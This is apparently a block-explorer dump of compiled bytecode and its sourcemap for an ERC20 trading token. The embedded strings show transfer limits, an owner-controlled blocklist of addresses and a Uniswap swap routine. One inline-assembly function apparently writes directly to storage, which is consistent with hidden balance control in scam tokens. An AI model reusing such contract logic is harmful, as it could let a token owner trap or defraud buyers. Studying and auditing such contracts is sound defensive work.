ffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156121d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121f59190612d1f565b8160018151811061220957612208612c93565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061227030601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114a1565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122d4959493929190613495565b600060405180830381600087803b1580156122ee57600080fd5b505af1158015612302573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561238c573d6000803e3d6000fd5b5050565b60008083036123a25760009050612404565b600082846123b09190612be5565b90508284826123bf919061351e565b146123ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f6906135c1565b60405180910390fd5b809150505b92915050565b600061244c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124fc565b905092915050565b60008082846124639190613303565b9050838110156124a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249f9061362d565b60405180910390fd5b8091505092915050565b60006124f483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612049565b905092915050565b60008083118290612543576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253a91906125ef565b60405180910390fd5b5060008385612552919061351e565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561259957808201518184015260208101905061257e565b60008484015250505050565b6000601f19601f8301169050919050565b60006125c18261255f565b6125cb818561256a565b93506125db81856020860161257b565b6125e4816125a5565b840191505092915050565b6000602082019050818103600083015261260981846125b6565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061265082612625565b9050919050565b61266081612645565b811461266b57600080fd5b50565b60008135905061267d81612657565b92915050565b6000819050919050565b61269681612683565b81146126a157600080fd5b50565b6000813590506126b38161268d565b92915050565b600080604083850312156126d0576126cf61261b565b5b60006126de8582860161266e565b92505060206126ef858286016126a4565b9150509250929050565b60008115159050919050565b61270e816126f9565b82525050565b60006020820190506127296000830184612705565b92915050565b61273881612683565b82525050565b6000602082019050612753600083018461272f565b92915050565b6000806000606084860312156127725761277161261b565b5b60006127808682870161266e565b93505060206127918682870161266e565b92505060406127a2868287016126a4565b9150509250925092565b600060ff82169050919050565b6127c2816127ac565b82525050565b60006020820190506127dd60008301846127b9565b92915050565b6000602082840312156127f9576127f861261b565b5b6000612807848285016126a4565b91505092915050565b6000602082840312156128265761282561261b565b5b60006128348482850161266e565b91505092915050565b61284681612645565b82525050565b6000602082019050612861600083018461283d565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128a4826125a5565b810181811067ffffffffffffffff821117156128c3576128c261286c565b5b80604052505050565b60006128d6612611565b90506128e2828261289b565b919050565b600067ffffffffffffffff8211156129025761290161286c565b5b602082029050602081019050919050565b600080fd5b600061292b612926846128e7565b6128cc565b9050808382526020820190506020840283018581111561294e5761294d612913565b5b835b818110156129775780612963888261266e565b845260208401935050602081019050612950565b5050509392505050565b600082601f83011261299657612995612867565b5b81356129a6848260208601612918565b91505092915050565b6000602082840312156129c5576129c461261b565b5b600082013567ffffffffffffffff8111156129e3576129e2612620565b5b6129ef84828501612981565b91505092915050565b60008060408385031215612a0f57612a0e61261b565b5b6000612a1d8582860161266e565b9250506020612a2e8582860161266e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612abe57808604811115612a9a57612a99612a38565b5b6001851615612aa95780820291505b8081029050612ab785612a67565b9450612a7e565b94509492505050565b600082612ad75760019050612b93565b81612ae55760009050612b93565b8160018114612afb5760028114612b0557612b34565b6001915050612b93565b60ff841115612b1757612b16612a38565b5b8360020a915084821115612b2e57612b2d612a38565b5b50612b93565b5060208310610133831016604e8410600b8410161715612b695782820a905083811115612b6457612b63612a38565b5b612b93565b612b768484846001612a74565b92509050818404811115612b8d57612b8c612a38565b5b81810290505b9392505050565b6000612ba582612683565b9150612bb0836127ac565b9250612bdd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612ac7565b905092915050565b6000612bf082612683565b9150612bfb83612683565b9250828202612c0981612683565b91508282048414831517612c2057612c1f612a38565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c5d60208361256a565b9150612c6882612c27565b602082019050919050565b60006020820190508181036000830152612c8c81612c50565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612ccd82612683565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cff57612cfe612a38565b5b600182019050919050565b600081519050612d1981612657565b92915050565b600060208284031215612d3557612d3461261b565b5b6000612d4384828501612d0a565b91505092915050565b6000604082019050612d61600083018561283d565b612d6e602083018461283d565b9392505050565b6000819050919050565b6000819050919050565b6000612da4612d9f612d9a84612d75565b612d7f565b612683565b9050919050565b612db481612d89565b82525050565b600060c082019050612dcf600083018961283d565b612ddc602083018861272f565b612de96040830187612dab565b612df66060830186612dab565b612e03608083018561283d565b612e1060a083018461272f565b979650505050505050565b600081519050612e2a8161268d565b92915050565b600080600060608486031215612e4957612e4861261b565b5b6000612e5786828701612e1b565b9350506020612e6886828701612e1b565b9250506040612e7986828701612e1b565b9150509250925092565b6000604082019050612e98600083018561283d565b612ea5602083018461272f565b9392505050565b612eb5816126f9565b8114612ec057600080fd5b50565b600081519050612ed281612eac565b92915050565b600060208284031215612eee57612eed61261b565b5b6000612efc84828501612ec3565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f6160248361256a565b9150612f6c82612f05565b604082019050919050565b60006020820190508181036000830152612f9081612f54565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612ff360228361256a565b9150612ffe82612f97565b604082019050919050565b6000602082019050818103600083015261302281612fe6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061308560258361256a565b915061309082613029565b604082019050919050565b600060208201905081810360008301526130b481613078565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061311760238361256a565b9150613122826130bb565b604082019050919050565b600060208201905081810360008301526131468161310a565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131a960298361256a565b91506131b48261314d565b604082019050919050565b600060208201905081810360008301526131d88161319c565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b600061326160498361256a565b915061326c826131df565b606082019050919050565b6000602082019050818103600083015261329081613254565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006132cd60198361256a565b91506132d882613297565b602082019050919050565b600060208201905081810360008301526132fc816132c0565b9050919050565b600061330e82612683565b915061331983612683565b925082820190508082111561333157613330612a38565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b600061336d601a8361256a565b915061337882613337565b602082019050919050565b6000602082019050818103600083015261339c81613360565b9050919050565b60006133ae82612683565b91506133b983612683565b92508282039050818111156133d1576133d0612a38565b5b92915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61340c81612645565b82525050565b600061341e8383613403565b60208301905092915050565b6000602082019050919050565b6000613442826133d7565b61344c81856133e2565b9350613457836133f3565b8060005b8381101561348857815161346f8882613412565b975061347a8361342a565b92505060018101905061345b565b5085935050505092915050565b600060a0820190506134aa600083018861272f565b6134b76020830187612dab565b81810360408301526134c98186613437565b90506134d8606083018561283d565b6134e5608083018461272f565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061352982612683565b915061353483612683565b925082613544576135436134ef565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006135ab60218361256a565b91506135b68261354f565b604082019050919050565b600060208201905081810360008301526135da8161359e565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613617601b8361256a565b9150613622826135e1565b602082019050919050565b600060208201905081810360008301526136468161360a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204e50572e745aa624456bcbf7fb84c40d2d2044ff865f2a4088e6eb99058c948764736f6c63430008110033

Deployed Bytecode Sourcemap

3928:9210:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5970:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6808:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5146:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6250:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6978:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6158:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12391:348;;;;;;;;;;;;;:::i;:::-;;10231:360;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6354:117;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3005:148;;;;;;;;;;;;;:::i;:::-;;10600:196;;;;;;;;;;;;;:::i;:::-;;4959:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2789:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5019:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12142:202;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11930:203;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6062:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6480:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12748:387;;;;;;;;;;;;;:::i;:::-;;5082:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4332:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10906:788;;;;;;;;;;;;;:::i;:::-;;6656:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11703:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5970:83;6007:13;6040:5;;;;;;;;;;;;;;;;;6033:12;;5970:83;:::o;6808:161::-;6883:4;6900:39;6909:12;:10;:12::i;:::-;6923:7;6932:6;6900:8;:39::i;:::-;6957:4;6950:11;;6808:161;;;;:::o;5146:51::-;;;;:::o;6250:95::-;6303:7;4774:1;4829:2;:13;;;;:::i;:::-;4817:9;:25;;;;:::i;:::-;6323:14;;6250:95;:::o;6978:313::-;7076:4;7093:36;7103:6;7111:9;7122:6;7093:9;:36::i;:::-;7140:121;7149:6;7157:12;:10;:12::i;:::-;7171:89;7209:6;7171:89;;;;;;;;;;;;;;;;;:11;:19;7183:6;7171:19;;;;;;;;;;;;;;;:33;7191:12;:10;:12::i;:::-;7171:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;7140:8;:121::i;:::-;7279:4;7272:11;;6978:313;;;;;:::o;6158:83::-;6199:5;4774:1;6217:16;;6158:83;:::o;12391:348::-;12455:10;;;;;;;;;;;12441:24;;:12;:10;:12::i;:::-;:24;;;12433:33;;;;;;12477:20;12498:24;12516:4;12498:9;:24::i;:::-;12477:45;;12549:1;12536:12;:14;12533:73;;;12564:30;12581:12;12564:16;:30::i;:::-;12533:73;12616:18;12635:21;12616:40;;12681:1;12670:10;:12;12667:65;;;12696:24;12709:10;12696:12;:24::i;:::-;12667:65;12422:317;;12391:348::o;10231:360::-;10329:15;10323:22;10313:8;10310:36;10300:62;;10359:1;10356;10349:12;10300:62;10389:4;10383:11;10416:8;10411:3;10404:21;10458:12;10451:4;10446:3;10442:14;10435:36;10508:4;10503:3;10493:20;10536:6;10530:4;10523:20;10577:5;10560:15;10553:30;10299:285;;10231:360;:::o;6354:117::-;6420:7;6447;:16;6455:7;6447:16;;;;;;;;;;;;;;;;6440:23;;6354:117;;;:::o;3005:148::-;2927:12;:10;:12::i;:::-;2917:22;;:6;;;;;;;;;;:22;;;2909:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3112:1:::1;3075:40;;3096:6;::::0;::::1;;;;;;;;3075:40;;;;;;;;;;;;3143:1;3126:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3005:148::o:0;10600:196::-;2927:12;:10;:12::i;:::-;2917:22;;:6;;;;;;;;;;:22;;;2909:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4774:1:::1;4829:2;:13;;;;:::i;:::-;4817:9;:25;;;;:::i;:::-;10653:12;:22;;;;4774:1;4829:2;:13;;;;:::i;:::-;4817:9;:25;;;;:::i;:::-;10686:14;:22;;;;10740:5;10719:20;;:26;;;;;;;;;;;;;;;;;;10761:27;4774:1;4829:2;:13;;;;:::i;:::-;4817:9;:25;;;;:::i;:::-;10761:27;;;;;;:::i;:::-;;;;;;;;10600:196::o:0;4959:53::-;;;;:::o;2789:79::-;2827:7;2854:6;;;;;;;;;;;2847:13;;2789:79;:::o;5019:56::-;;;;:::o;12142:202::-;2927:12;:10;:12::i;:::-;2917:22;;:6;;;;;;;;;;:22;;;2909:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12228:9:::1;12223:114;12247:9;:16;12243:1;:20;12223:114;;;12320:5;12285:18;:32;12304:9;12314:1;12304:12;;;;;;;;:::i;:::-;;;;;;;;12285:32;;;;;;;;;;;;;;;;:40;;;;;;;;;;;;;;;;;;12265:3;;;;;:::i;:::-;;;;12223:114;;;;12142:202:::0;:::o;11930:203::-;2927:12;:10;:12::i;:::-;2917:22;;:6;;;;;;;;;;:22;;;2909:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12018:9:::1;12013:113;12037:9;:16;12033:1;:20;12013:113;;;12110:4;12075:18;:32;12094:9;12104:1;12094:12;;;;;;;;:::i;:::-;;;;;;;;12075:32;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;12055:3;;;;;:::i;:::-;;;;12013:113;;;;11930:203:::0;:::o;6062:87::-;6101:13;6134:7;;;;;;;;;;;;;;;;;6127:14;;6062:87;:::o;6480:167::-;6558:4;6575:42;6585:12;:10;:12::i;:::-;6599:9;6610:6;6575:9;:42::i;:::-;6635:4;6628:11;;6480:167;;;;:::o;12748:387::-;12819:10;;;;;;;;;;;12805:24;;:12;:10;:12::i;:::-;:24;;;12797:33;;;;;;12841:20;12862:24;12880:4;12862:9;:24::i;:::-;12841:45;;12901:11;;;;;;;;;;;12900:12;:30;;;;;12929:1;12916:12;:14;12900:30;12897:89;;;12944:30;12961:12;12944:16;:30::i;:::-;12897:89;12996:18;13015:21;12996:40;;13051:11;;;;;;;;;;;13050:12;:28;;;;;13077:1;13066:10;:12;13050:28;13047:81;;;13092:24;13105:10;13092:12;:24::i;:::-;13047:81;12786:349;;12748:387::o;5082:57::-;;;;:::o;4332:39::-;;;;;;;;;;;;;:::o;10906:788::-;10971:10;;;;;;;;;;;10957:24;;:12;:10;:12::i;:::-;:24;;;10949:33;;;;;;10997:11;;;;;;;;;;;10993:639;;11057:42;11020:15;;:80;;;;;;;;;;;;;;;;;;11111:58;11128:4;11143:15;;;;;;;;;;;4774:1;4829:2;:13;;;;:::i;:::-;4817:9;:25;;;;:::i;:::-;11111:8;:58::i;:::-;11214:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11196:55;;;11260:4;11267:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11196:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11180:13;;:110;;;;;;;;;;;;;;;;;;11301:15;;;;;;;;;;;:31;;;11340:21;11371:4;11377:24;11395:4;11377:9;:24::i;:::-;11402:1;11404;11406:7;:5;:7::i;:::-;11414:15;11301:129;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11448:13;;;;;;;;;;;11441:29;;;11479:15;;;;;;;;;;;11497:14;11441:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11561:4;11523:20;:35;11544:13;;;;;;;;;;;11523:35;;;;;;;;;;;;;;;;:42;;;;;;;;;;;;;;;;;;11590:4;11576:11;;:18;;;;;;;;;;;;;;;;;;11619:4;11605:11;;:18;;;;;;;;;;;;;;;;;;11624:7;;10993:639;11680:5;11658:20;11651:35;10906:788;:::o;6656:143::-;6737:7;6764:11;:18;6776:5;6764:18;;;;;;;;;;;;;;;:27;6783:7;6764:27;;;;;;;;;;;;;;;;6757:34;;6656:143;;;;:::o;11703:218::-;11778:10;;;;;;;;;;;11764:24;;:12;:10;:12::i;:::-;:24;;;11756:33;;;;;;11815:12;;11806:7;:21;;:47;;;;;11840:13;;11831:7;:22;;11806:47;11798:56;;;;;;11876:7;11863:12;:20;;;;11906:7;11892:13;:21;;;;11703:218;:::o;533:98::-;586:7;613:10;606:17;;533:98;:::o;7300:335::-;7410:1;7393:19;;:5;:19;;;7385:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7491:1;7472:21;;:7;:21;;;7464:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7573:6;7543:11;:18;7555:5;7543:18;;;;;;;;;;;;;;;:27;7562:7;7543:27;;;;;;;;;;;;;;;:36;;;;7611:7;7595:32;;7604:5;7595:32;;;7620:6;7595:32;;;;;;:::i;:::-;;;;;;;;7300:335;;;:::o;7644:1977::-;7748:1;7732:18;;:4;:18;;;7724:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7825:1;7811:16;;:2;:16;;;7803:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7895:1;7886:6;:10;7878:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7953:17;7995:7;:5;:7::i;:::-;7987:15;;:4;:15;;;;:32;;;;;8012:7;:5;:7::i;:::-;8006:13;;:2;:13;;;;7987:32;7983:1175;;;8048:35;8079:3;8048:26;8059:14;;8048:6;:10;;:26;;;;:::i;:::-;:30;;:35;;;;:::i;:::-;8036:47;;8105:20;;;;;;;;;;;8101:508;;;8166:15;;;;;;;;;;;8152:30;;:2;:30;;;;:62;;;;;8200:13;;;;;;;;;;;8186:28;;:2;:28;;;;8152:62;8148:444;;;8350:12;8277:28;:39;8306:9;8277:39;;;;;;;;;;;;;;;;:85;8241:250;;;;;;;;;;;;:::i;:::-;;;;;;;;;8558:12;8516:28;:39;8545:9;8516:39;;;;;;;;;;;;;;;:54;;;;8148:444;8101:508;8638:13;;;;;;;;;;;8630:21;;:4;:21;;;:55;;;;;8669:15;;;;;;;;;;;8655:30;;:2;:30;;;;8630:55;:83;;;;;8691:18;:22;8710:2;8691:22;;;;;;;;;;;;;;;;;;;;;;;;;8689:24;8630:83;:114;;;;;8718:20;:26;8739:4;8718:26;;;;;;;;;;;;;;;;;;;;;;;;;8717:27;8630:114;:143;;;;;8749:20;:24;8770:2;8749:24;;;;;;;;;;;;;;;;;;;;;;;;;8748:25;8630:143;8626:373;;;8813:12;;8803:6;:22;;8795:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;8908:14;;8898:6;8882:13;8892:2;8882:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;8874:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;8972:9;;:11;;;;;;;;;:::i;:::-;;;;;;8626:373;9025:13;;;;;;;;;;;9019:19;;:2;:19;;;:43;;;;;9057:4;9042:20;;:4;:20;;;;9019:43;9016:131;;;9095:36;9127:3;9095:27;9106:15;;9095:6;:10;;:27;;;;:::i;:::-;:31;;:36;;;;:::i;:::-;9083:48;;9016:131;7983:1175;9175:18;:22;9194:2;9175:22;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;9201:18;:24;9220:4;9201:24;;;;;;;;;;;;;;;;;;;;;;;;;9175:50;9171:96;;;9254:1;9242:13;;9171:96;9295:1;9283:9;:13;9280:163;;;9335:37;9362:9;9335:7;:22;9351:4;9335:22;;;;;;;;;;;;;;;;:26;;:37;;;;:::i;:::-;9312:7;:22;9328:4;9312:22;;;;;;;;;;;;;;;:60;;;;9415:4;9392:39;;9401:4;9392:39;;;9421:9;9392:39;;;;;;:::i;:::-;;;;;;;;9280:163;9470:25;9488:6;9470:7;:13;9478:4;9470:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;9456:7;:13;9464:4;9456:13;;;;;;;;;;;;;;;:39;;;;9518:38;9534:21;9545:9;9534:6;:10;;:21;;;;:::i;:::-;9518:7;:11;9526:2;9518:11;;;;;;;;;;;;;;;;:15;;:38;;;;:::i;:::-;9506:7;:11;9514:2;9506:11;;;;;;;;;;;;;;;:50;;;;9587:2;9572:41;;9581:4;9572:41;;;9591:21;9602:9;9591:6;:10;;:21;;;;:::i;:::-;9572:41;;;;;;:::i;:::-;;;;;;;;7713:1908;7644:1977;;;:::o;1674:190::-;1760:7;1793:1;1788;:6;;1796:12;1780:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1820:9;1836:1;1832;:5;;;;:::i;:::-;1820:17;;1855:1;1848:8;;;1674:190;;;;;:::o;9740:483::-;5490:4;5481:6;;:13;;;;;;;;;;;;;;;;;;9818:21:::1;9856:1;9842:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9818:40;;9887:4;9869;9874:1;9869:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;9913:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9903:4;9908:1;9903:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;9946:62;9963:4;9978:15;;;;;;;;;;;9996:11;9946:8;:62::i;:::-;10019:15;;;;;;;;;;;:66;;;10100:11;10126:1;10142:4;10169;10189:15;10019:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9807:416;5526:5:::0;5517:6;;:14;;;;;;;;;;;;;;;;;;9740:483;:::o;10805:92::-;10862:10;;;;;;;;;;;:19;;:27;10882:6;10862:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10805:92;:::o;1873:246::-;1931:7;1960:1;1955;:6;1951:47;;1985:1;1978:8;;;;1951:47;2008:9;2024:1;2020;:5;;;;:::i;:::-;2008:17;;2053:1;2048;2044;:5;;;;:::i;:::-;:10;2036:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2110:1;2103:8;;;1873:246;;;;;:::o;2128:132::-;2186:7;2213:39;2217:1;2220;2213:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2206:46;;2128:132;;;;:::o;1341:179::-;1399:7;1419:9;1435:1;1431;:5;;;;:::i;:::-;1419:17;;1460:1;1455;:6;;1447:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1511:1;1504:8;;;1341:179;;;;:::o;1529:136::-;1587:7;1614:43;1618:1;1621;1614:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1607:50;;1529:136;;;;:::o;2269:189::-;2355:7;2387:1;2383;:5;2390:12;2375:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2414:9;2430:1;2426;:5;;;;:::i;:::-;2414:17;;2449:1;2442:8;;;2269:189;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1349:75::-;1382:6;1415:2;1409:9;1399:19;;1349:75;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:::-;5247:6;5296:2;5284:9;5275:7;5271:23;5267:32;5264:119;;;5302:79;;:::i;:::-;5264:119;5422:1;5447:53;5492:7;5483:6;5472:9;5468:22;5447:53;:::i;:::-;5437:63;;5393:117;5188:329;;;;:::o;